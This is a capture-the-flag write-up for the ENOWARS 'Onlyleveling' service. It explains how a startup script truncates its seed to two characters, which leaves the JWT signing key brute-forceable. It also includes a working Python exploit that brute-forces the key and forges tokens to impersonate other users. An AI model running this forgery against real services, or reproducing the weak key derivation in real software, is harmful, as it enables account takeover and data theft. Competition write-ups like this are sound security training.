Rating:

Onlyleveling is a Python-based service, which consists of a backend, a frontend, and a seed generator. The frontend was only responsible for the UI, so we did not bother further. However, looking at the backend, we could see `generate_secret.sh`, which was called in `start.sh`. This contains the following code:

```
SALT=$(date +"%H%M%S")
SEED=$(printf "%s\n" "$SALT" | nc "$HOST" "$PORT" | tr -d '\r\n')
SECRET=$(echo -n "$SEED" | head -c2 | sha256sum | awk '{print $1}')

echo "SECRET_KEY=$(echo "$SECRET" | cut -c1-16)" > .env
```

What becomes readily obvious is that when starting the service, this is supposed to connect to the seed service (which probably caused another bug, but I didn't have time to investigate) and use the response for the secret key generation. However, as shown in line 3 of the script, the `head -c2` only ever takes the first two chars, which are then passed to sha256sum.

Looking into the code, it became obvious that this `SECRET_KEY` was used in `auth.py` to sign the JWT used for authentication. Hence, it was obvious what to do: create an account with a target team, get a valid JWT. Bruteforce through all potential `SECRET_KEYS` (the seed service appeared to only return digits even) to see if I could validate the JWT locally. If so, I guessed the correct SECRET_KEY. Subsequently, use that SECRET_KEY to issue a JWT for whatever user I wanted to impersonate. Find the Python code below:

```
def brute_force(token):
for a, b in itertools.product(string.digits, repeat=2):
secret = hashlib.sha256((a + b).encode()).hexdigest()[:16]
try:
jwt.decode(token, secret, algorithms=["HS256"])
return secret
except:
pass
return None

def exploit(target):
flag_ids = get_flag_id("only-leveling", target)
all_users = set()
for key, values in flag_ids.items():
for value in values.values():
all_users.update(value)

sess = requests.Session()
username = randomstring(16)
password = randomstring(16)
sess.post(f"http://{target}:2626/register",
json={"username": username,
"password": password})

resp = sess.post(f"http://{target}:2626/token",
data={"username": username,
"password": password}).json()
token = resp["access_token"]

secret = brute_force(token)

if not secret:
return

decoded_token = jwt.decode(token, secret, algorithms=["HS256"])

sess = requests.Session()
sess.headers["Connection"] = "close"

for username in all_users:
decoded_token["sub"] = username
new_token = jwt.encode(decoded_token, secret, algorithm="HS256")
sess.headers["Authorization"] = f"Bearer {new_token}"
data = sess.get(f"http://{target}:2626/users/me").json()
if "items" in data:
for item in data["items"]:
print(execute_brainfuck(item["note"]))

```

Original writeup (https://saarsec.rocks/2025/07/21/ENOWARS-onlyleveling.html).